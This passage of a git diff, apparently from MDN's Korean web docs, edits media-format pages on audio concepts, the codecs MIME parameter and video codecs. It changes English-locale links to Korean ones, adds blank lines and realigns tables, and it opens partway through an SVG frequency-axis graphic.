0 .965.696 1.587.683.623 3.57 1.276 2.887.653 3.962 1.141 1.562.72 2.307 1.825.744 1.105.744 2.545 0 1.429-.818 2.692-.817 1.263-2.349 1.965-1.532.702-3.449.702-2.429 0-4.071-.708t-2.576-2.13q-.933-1.422-.982-3.216zm17.199 10.717V13.035h2.002v1.685q.708-.989 1.6-1.483.891-.495 2.16-.495 1.66 0 2.93.855 1.269.854 1.916 2.411.647 1.556.647 3.411 0 1.99-.714 3.583-.714 1.593-2.075 2.442-1.361.848-2.863.848-1.098 0-1.971-.464t-1.434-1.172v6.311zm1.99-11.377q0 2.503 1.013 3.699 1.014 1.196 2.454 1.196 1.465 0 2.509-1.239 1.043-1.239 1.043-3.839 0-2.478-1.019-3.711-1.019-1.233-2.435-1.233-1.404 0-2.484 1.313-1.081 1.312-1.081 3.814zm20.789 2.234 2.27.281q-.537 1.99-1.989 3.088-1.453 1.099-3.711 1.099-2.845 0-4.511-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.371-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.013.586h-9.668q.122 2.136 1.209 3.271 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027zm-7.215-3.552h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71zm21.119 3.552 2.27.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.37-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586h-9.668q.122 2.136 1.209 3.271 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027zm-7.215-3.552h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71zm20.703 2.979 2.161.28q-.354 2.234-1.813 3.498-1.458 1.263-3.583 1.263-2.661 0-4.278-1.739-1.618-1.74-1.618-4.987 0-2.1.696-3.674.696-1.575 2.118-2.362 1.422-.788 3.095-.788 2.112 0 3.454 1.068 1.343 1.068 1.721 3.034l-2.136.329q-.305-1.306-1.08-1.965-.775-.659-1.874-.659-1.66 0-2.698 1.19-1.037 1.19-1.037 3.766 0 2.612 1.001 3.796 1.001 1.184 2.612 1.184 1.294 0 2.161-.793.866-.794 1.098-2.441zm4.041 4.748V8.104h2.197v6.42q1.538-1.782 3.882-1.782 1.44 0 2.502.568 1.062.567 1.52 1.568.458 1.001.458 2.906v8.215h-2.197v-8.215q0-1.648-.714-2.399-.715-.751-2.021-.751-.976 0-1.837.507-.86.506-1.227 1.373-.366.867-.366 2.393v7.092zm25.049 5.261q-1.819-2.295-3.076-5.371-1.258-3.076-1.258-6.372 0-2.905.94-5.566 1.099-3.089 3.394-6.153h1.574q-1.477 2.539-1.953 3.626-.744 1.684-1.172 3.515-.524 2.283-.524 4.59 0 5.872 3.649 11.731zm17.175-11.535 2.368.598q-.744 2.917-2.679 4.449-1.935 1.532-4.731 1.532-2.893 0-4.705-1.178-1.813-1.178-2.759-3.412t-.946-4.797q0-2.795 1.068-4.877 1.068-2.081 3.04-3.161 1.971-1.081 4.339-1.081 2.686 0 4.517 1.368 1.831 1.367 2.551 3.845l-2.332.549q-.622-1.953-1.806-2.844-1.184-.891-2.979-.891-2.063 0-3.448.989-1.386.988-1.947 2.655-.562 1.666-.562 3.436 0 2.283.666 3.985.665 1.703 2.069 2.546 1.403.842 3.039.842 1.99 0 3.369-1.148 1.38-1.147 1.868-3.405zm4.187-.208q0-3.601 2.002-5.334 1.672-1.441 4.077-1.441 2.673 0 4.37 1.752t1.697 4.84q0 2.502-.751 3.937-.75 1.434-2.185 2.228-1.434.793-3.131.793-2.722 0-4.401-1.746-1.678-1.745-1.678-5.029zm2.258 0q0 2.49 1.087 3.729 1.086 1.239 2.734 1.239 1.636 0 2.722-1.245 1.087-1.245 1.087-3.796 0-2.405-1.093-3.644-1.092-1.239-2.716-1.239-1.648 0-2.734 1.233-1.087 1.233-1.087 3.723zm12.439 6.482V13.035h1.978v1.966q.757-1.38 1.398-1.819.64-.44 1.409-.44 1.111 0 2.259.708l-.757 2.039q-.806-.476-1.611-.476-.721 0-1.294.433-.574.433-.818 1.202-.366 1.172-.366 2.564v6.787zm17.224-4.175 2.271.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.667-1.751-1.667-4.913 0-3.272 1.685-5.078 1.685-1.807 4.37-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586h-9.668q.122 2.136 1.208 3.271 1.087 1.135 2.71 1.135 1.209 0 2.063-.634.855-.635 1.355-2.027zm-7.214-3.552h7.239q-.147-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.546 1.013-1.031 1.013-1.141 2.71zm13.684 12.988h-1.575q3.65-5.859 3.65-11.731 0-2.295-.525-4.553-.415-1.831-1.159-3.516-.476-1.098-1.966-3.662h1.575q2.295 3.064 3.394 6.153.94 2.661.94 5.566 0 3.296-1.264 6.372-1.263 3.076-3.07 5.371zm7.495-15.722v-2.503h2.503v2.503zm0 10.461v-2.502h2.503v2.502zm12.671-4.687 2.307-.196q.257 1.685 1.19 2.533.934.849 2.253.849 1.587 0 2.685-1.197 1.099-1.196 1.099-3.174 0-1.879-1.056-2.966-1.056-1.086-2.765-1.086-1.062 0-1.916.482-.855.482-1.343 1.251l-2.063-.268 1.733-9.192h8.899v2.099h-7.141l-.964 4.81q1.611-1.123 3.381-1.123 2.344 0 3.955 1.623 1.611 1.624 1.611 4.175 0 2.429-1.416 4.199-1.721 2.173-4.699 2.173-2.442 0-3.986-1.367t-1.764-3.625zm13.904-4.139q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459t2.545-1.465q1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm19.556 8.826V8.104h2.368v7.348h9.302V8.104h2.368v17.895h-2.368v-8.435h-9.302v8.435zm16.54 0v-1.782l8.252-9.473q-1.404.073-2.478.073h-5.285v-1.782h10.595v1.453l-7.019 8.227-1.355 1.502q1.477-.11 2.771-.11h5.994v1.892zm19.751-5.371v-2.21h6.751v2.21zm15.528.647 2.197-.293q.378 1.868 1.288 2.692.909.824 2.215.824 1.551 0 2.619-1.075 1.068-1.074 1.068-2.661 0-1.513-.989-2.496-.989-.983-2.515-.983-.622 0-1.55.244l.244-1.928q.22.024.354.024 1.404 0 2.527-.732 1.123-.733 1.123-2.259 0-1.208-.818-2.002-.818-.793-2.112-.793-1.281 0-2.136.806-.854.805-1.098 2.417l-2.198-.391q.403-2.209 1.831-3.424 1.429-1.215 3.553-1.215 1.464 0 2.697.629t1.886 1.715q.653 1.086.653 2.307 0 1.16-.622 2.112-.623.952-1.843 1.514 1.586.366 2.465 1.519.879 1.154.879 2.887 0 2.344-1.709 3.974-1.709 1.629-4.321 1.629-2.356 0-3.912-1.403-1.557-1.404-1.776-3.638zm15.075 4.724v-2.502h2.503v2.502q0 1.379-.489 2.228-.488.848-1.55 1.312l-.61-.94q.696-.305 1.025-.897.33-.592.366-1.703zm5.762-8.826q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459t2.545-1.465q1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.287-1.05 3.241-1.05 1.44 0 2.526.58 1.087.58 1.795 1.673.708 1.092 1.111 2.661.402 1.568.402 4.229 0 3.15-.646 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.031 5.866 1.032 1.459 2.546 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.514 0-2.417 1.282-1.135 1.636-1.135 6.042z" stroke="#363636" fill="none"/><text transform="translate(30.752 228.389)">
-      <tspan x="-18.505" y="-.5" font-family="Arial" font-size="18">0 Hz</tspan>
-    </text><text transform="translate(517.5 227.869)">
-      <tspan x="-41.027" y="-2.058" font-family="Arial" font-size="18">10,000 Hz</tspan>
-    </text><text transform="translate(269.262 230.086)">
-      <tspan x="-36.022" y="-3.756" font-family="Arial" font-size="18">5,000 Hz</tspan>
-    </text><text transform="translate(777.154 227.869)">
-      <tspan x="-41.027" y="-1.539" font-family="Arial" font-size="18">15,000 Hz</tspan>
-    </text><text transform="translate(1040.154 227.869)">
-      <tspan x="-41.027" y="-1.539" font-family="Arial" font-size="18">20,000 Hz</tspan>
-    </text></svg>
\ No newline at end of file
diff --git a/files/ko/web/media/formats/audio_concepts/index.md b/files/ko/web/media/formats/audio_concepts/index.md
index 1466451e0e26fd..85c46c856220d6 100644
--- a/files/ko/web/media/formats/audio_concepts/index.md
+++ b/files/ko/web/media/formats/audio_concepts/index.md
@@ -2,6 +2,7 @@
 title: 디지털 오디오 개요
 slug: Web/Media/Formats/Audio_concepts
 ---
+
 {{QuickLinksWithSubpages("/ko/docs/Web/Media")}}
 
 디지털 형태로 오디오를 나타내는 데에는 몇 가지의 단계와 과정이 수반되며, 웹에서 실제로 사용되는 인코딩되었거나 압축된 오디오와 가공되지 않은 오디오 양 쪽에서 모두 사용될 수 있는 다수의 포맷들이 있습니다. 이 가이드에서는 어떻게 오디오가 디지털적으로 표현되는지, 그리고 어떻게 코덱이 웹에서의 사용을 위해 오디오를 인코딩하고 디코딩하는지를 고찰합니다.
diff --git a/files/ko/web/media/formats/codecs_parameter/index.md b/files/ko/web/media/formats/codecs_parameter/index.md
index c126869d9e2e34..291c679e523aa8 100644
--- a/files/ko/web/media/formats/codecs_parameter/index.md
+++ b/files/ko/web/media/formats/codecs_parameter/index.md
@@ -3,7 +3,8 @@ title: 일반 미디어 타입에서 "codecs" 파라미터 사용하기
 slug: Web/Media/Formats/codecs_parameter
 original_slug: Web/Media/Formats/코덱파라미터
 ---
-{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
+
+{{QuickLinksWithSubpages("/ko/docs/Web/Media")}}
 
 기본적으로, `video/mp4`, `audio/mpeg` 처럼 {{Glossary("MIME")}} 타입을 통해 미디어 파일 포맷을 명시할 수 있습니다. 하지만 많은 미디어 타입들이-특히 비디오 트랙을 지원하는 경우-가지고 있는 데이터 포맷에 대해 더 상세하고 정확하게 명시할 수 있습니다. 예를들어 [MPEG-4](/ko/docs/Web/Media/Formats/Containers#MP4) 비디오라고 해서 MIME 타입을 `video/mp4`만 명시한다면 정확히 어떤 미디어를 가지고 있는 지 아무 정보도 알 수 없습니다.
 
@@ -143,7 +144,7 @@ av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]
         한자리 숫자 모노크롬 플래그; 0인 경우 비디오는 U, V, Y 성분을 모두
         가지고 있습니다. 아닌 경우 전체 비디오 데이터는 Y(휘도) 성분 뿐으로
         모노크롬 이미지를 가집니다. 자세한 내용은
-        [YUV](/en-US/docs/Web/Media/Formats/Video_concepts#yuv)를
+        [YUV](/ko/docs/Web/Media/Formats/Video_concepts#yuv)를
         참조하여 YUV 컬러 시스템이 어떻게 동작하는지 알아보세요. 기본 값은 0
         (모노크롬 아님)입니다.
       </td>
@@ -264,15 +265,15 @@ av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]
 
 모든 미디어 타입은 [ISO Base Media File Format](https://en.wikipedia.org/wiki/ISO_base_media_file_format) (ISO BMFF)를 기반으로 하며 `codecs` 문법을 공유합니다. 이들 미디어 타입은 [MPEG-4](/ko/docs/Web/Media/Formats/Containers#MP4) (또 사실상 MPEG-4를 기반으로 하고 있으므로 [QuickTime](/ko/docs/Web/Media/Formats/Containers#QuickTime)도 포함)과 [3GP](/ko/docs/Web/Media/Formats/Containers#3GP)를 포함합니다. MIME 타입의 `codecs` 파라미터를 통해 아래와 같이 비디오/오디오 트랙 둘 다 기술할 수 있습니다.:
 
-| MIME 타입         | 설명                                                                                                                                                  |
-| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| MIME 타입         | 설명                                                                                                                |
+| ----------------- | ------------------------------------------------------------------------------------------------------------------- |
 | `audio/3gpp`      | 3GP 오디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}}) |
 | `video/3gpp`      | 3GP 비디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}}) |
-| `audio/3gp2`      | 3GP2 오디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})                                                |
-| `video/3gp2`      | 3GP2 비디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})                                                |
-| `audio/mp4`       | MP4 오디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})                                                                     |
-| `video/mp4`       | MP4 비디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})                                                                     |
-| `application/mp4` | 오디오/비디오가 아닌 MPEG-4 컨테이너 미디어                                                                                                           |
+| `audio/3gp2`      | 3GP2 오디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})                                   |
+| `video/3gp2`      | 3GP2 비디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})                                   |
+| `audio/mp4`       | MP4 오디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})                                                     |
+| `video/mp4`       | MP4 비디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})                                                     |
+| `application/mp4` | 오디오/비디오가 아닌 MPEG-4 컨테이너 미디어                                                                         |
 
 `codecs` 파라미티에는 간단하게 컨테이너 명(`3gp`, `mp4`, `quicktime`, etc.)만 기술할 수도 있으며 컨테이너 명에 코덱 이름 및 설정 값을 함께 기술할 수도 있습니다. 각 코덱 등은 온점(`.`)으로 구분된 요소를 다수 가질 수 있습니다.
 
@@ -287,6 +288,7 @@ av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]
 - `mp4v.oo[.V]` (MPEG-4 video)
   - : 마찬가지로 `oo` 는 미디어 콘텐츠를 명시하는 OTI 값이며, `V` 는 한자리 숫자 _비디오_ OTI 값입니다.
 - `avc1.oo[.PPCCLL]` (AVC video)
+
   - : `oo` 는 콘텐츠를 명시하는 OTI 값이며, while `PPCCLL` 는 6자리 16진수로써 프로파일 넘버 (`PP`), 제약 플래그 (`CC`), 레벨 (`LL`)을 의미합니다. `PP`로 가능한 값은 [AVC profiles](#avc_profiles)를 참조하세요.
 
     제약 플래그는 1 비트 불리언 값이며, MSB는 flag 0(또는 일부에선 `constraint_set0_flag`)로 취급합니다. 그리고 이어지는 비트는 하나씩 번호가 높게 매겨집니다. 현재로썬 0부터 2번째 비트까지만 사용하며;나머지 5개의 비트는 _반드시_ 0이어야합니다. 각 플래그의 의미는 사용하는 프로파일에 따라 달라집니다.
diff --git a/files/ko/web/media/formats/video_codecs/index.md b/files/ko/web/media/formats/video_codecs/index.md
index d2aa94314ba030..5cc2a10255e026 100644
--- a/files/ko/web/media/formats/video_codecs/index.md
+++ b/files/ko/web/media/formats/video_codecs/index.md
@@ -3,6 +3,7 @@ title: 웹 비디오 코덱 가이드
 slug: Web/Media/Formats/Video_codecs
 original_slug: Web/Media/Formats/비디오코덱
 ---
+
 압축되지 않은 비디오 데이터는 그 크기가 엄청나기 때문에, 저장하거나 네트워크를 통해 전송하기 위해서는 아주 작게 압축해야 합니다. 압축되지 않은 비디오를 저장하는 과정을 상상해 봅시다:
 
 - HD(1920x1080) 풀 컬러(픽셀 당 4바이트) 비디오의 한 프레임은 8,294,400 입니다.
@@ -20,18 +21,18 @@ original_slug: Web/Media/Formats/비디오코덱
 
 웹에서 널리 쓰이는 비디오 코덱은 아래와 같습니다. 각 코덱마다 해당 코덱을 지원하는 컨테이너(파일 타입)도 나열되어 있습니다. 각 코덱의 링크를 클릭하면 해당 코덱에 대해 세부정보, 기능, 호환성 등 필요한 내용이 추가된 하단 섹션으로 이동합니다.
 
-| 코덱 이름 (축약어)                                                   | 전체 코덱 이름                | 지원하는 컨테이너                                                                                                                                                        |
-| -------------------------------------------------------------------- | ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| [AV1](#av1)                                                          | AOMedia Video 1               | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                                                                     |
-| [AVC (H.264)](#avc_h.264)                                            | Advanced Video Coding         | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
-| [H.263](#h.263)                                                      | H.263 Video                   | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP)                                                                                                                         |
-| [HEVC (H.265)](#hevc_h.265)                                          | High Efficiency Video Coding  | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4)                                                                                                                         |
-| [MP4V-ES](#mp4v-es)                                                  | MPEG-4 Video Elemental Stream | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [MP4](/ko/docs/Web/Media/Formats/Containers#MP4)                                                                       |
-| [MPEG-1](#mpeg-1_part_2_video)                                       | MPEG-1 Part 2 Visual          | [MPEG](/ko/docs/Web/Media/Formats/Containers#MPEGMPEG-2), [QuickTime](/ko/docs/Web/Media/Formats/Containers#QuickTime)                                                   |
-| [MPEG-2](#mpeg-2_part_2_video)                                       | MPEG-2 Part 2 Visual          | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [MPEG](/ko/docs/Web/Media/Formats/Containers#MPEGMPEG-2), [QuickTime](/ko/docs/Web/Media/Formats/Containers#QuickTime) |
-| [Theora](#theora)                                                    | Theora                        | [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg)                                                                                                                         |
-| [VP8](#vp8)                                                          | Video Processor 8             | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
-| [VP9](#vp9)                                                          | Video Processor 9             | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
+| 코덱 이름 (축약어)             | 전체 코덱 이름                | 지원하는 컨테이너                                                                                                                                                        |
+| ------------------------------ | ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| [AV1](#av1)                    | AOMedia Video 1               | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                                                                     |
+| [AVC (H.264)](#avc_h.264)      | Advanced Video Coding         | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
+| [H.263](#h.263)                | H.263 Video                   | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP)                                                                                                                         |
+| [HEVC (H.265)](#hevc_h.265)    | High Efficiency Video Coding  | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4)                                                                                                                         |
+| [MP4V-ES](#mp4v-es)            | MPEG-4 Video Elemental Stream | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [MP4](/ko/docs/Web/Media/Formats/Containers#MP4)                                                                       |
+| [MPEG-1](#mpeg-1_part_2_video) | MPEG-1 Part 2 Visual          | [MPEG](/ko/docs/Web/Media/Formats/Containers#MPEGMPEG-2), [QuickTime](/ko/docs/Web/Media/Formats/Containers#QuickTime)                                                   |
+| [MPEG-2](#mpeg-2_part_2_video) | MPEG-2 Part 2 Visual          | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [MPEG](/ko/docs/Web/Media/Formats/Containers#MPEGMPEG-2), [QuickTime](/ko/docs/Web/Media/Formats/Containers#QuickTime) |
+| [Theora](#theora)              | Theora                        | [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg)                                                                                                                         |
+| [VP8](#vp8)                    | Video Processor 8             | [3GP](/ko/docs/Web/Media/Formats/Containers#3GP), [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
+| [VP9](#vp9)                    | Video Processor 9             | [MP4](/ko/docs/Web/Media/Formats/Containers#MP4), [Ogg](/ko/docs/Web/Media/Formats/Containers#Ogg), [WebM](/ko/docs/Web/Media/Formats/Containers#WebM)                   |
 
 ## 인코딩 관여 요소
 
@@ -399,14 +400,14 @@ AV1은 현재 세 프로파일을 제공하며:**main**, **high**, **professiona
       <td>
         ISOBMFF<sup><a href="#av1-foot-1">[1]</a></sup
         >, MPEG-TS,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#WebM">WebM</a>
       </td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환성
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환성
       </th>
       <td>예</td>
     </tr>
@@ -576,15 +577,15 @@ AVC는 유료 포맷이지만 무수한 특허들이 개입한 여러 단체에
     <tr>
       <th scope="row">지원 컨테이너</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>
+        <a href="/ko/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#WebM">WebM</a>
       </td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>예</td>
     </tr>
@@ -703,9 +704,9 @@ H.263는 Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm 등 수
     <tr>
       <th scope="row">컨테이너 지원</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime"
+        <a href="/ko/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#QuickTime"
           >QuickTime</a
         >
       </td>
@@ -713,7 +714,7 @@ H.263는 Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm 등 수
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -891,7 +892,7 @@ HEVC는 상용 포맷이며 여러 특허로 보호받고 있습니다. [MPEG LA
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -1003,14 +1004,14 @@ HEVC는 상용 포맷이며 여러 특허로 보호받고 있습니다. [MPEG LA
     <tr>
       <th scope="row">지원 컨테이너</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>
+        <a href="/ko/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>
       </td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -1118,7 +1119,7 @@ HEVC는 상용 포맷이며 여러 특허로 보호받고 있습니다. [MPEG LA
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -1284,10 +1285,10 @@ MPEG-2는 서로 다른 스펙을 가진 여러 프로파일이 있습니다. 
     <tr>
       <th scope="row">지원 컨테이너</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>,
         MPEG-TS (MPEG Transport Stream),
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime"
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#QuickTime"
           >QuickTime</a
         >
       </td>
@@ -1295,7 +1296,7 @@ MPEG-2는 서로 다른 스펙을 가진 여러 프로파일이 있습니다. 
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -1409,12 +1410,12 @@ Theora의 단점 중 하나는 오직 8 bit 컬러 모드만을 지원하여 컬
     </tr>
     <tr>
       <th scope="row">지원 컨테이너</th>
-      <td><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
+      <td><a href="/ko/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>아니오</td>
     </tr>
@@ -1516,15 +1517,15 @@ HTML 콘텐츠로써 특히 [WebM](/ko/docs/Web/Media/Formats/Containers#WebM) 
     <tr>
       <th scope="row">지원 컨테이너</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>
+        <a href="/ko/docs/Web/Media/Formats/Containers#3GP">3GP</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#WebM">WebM</a>
       </td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
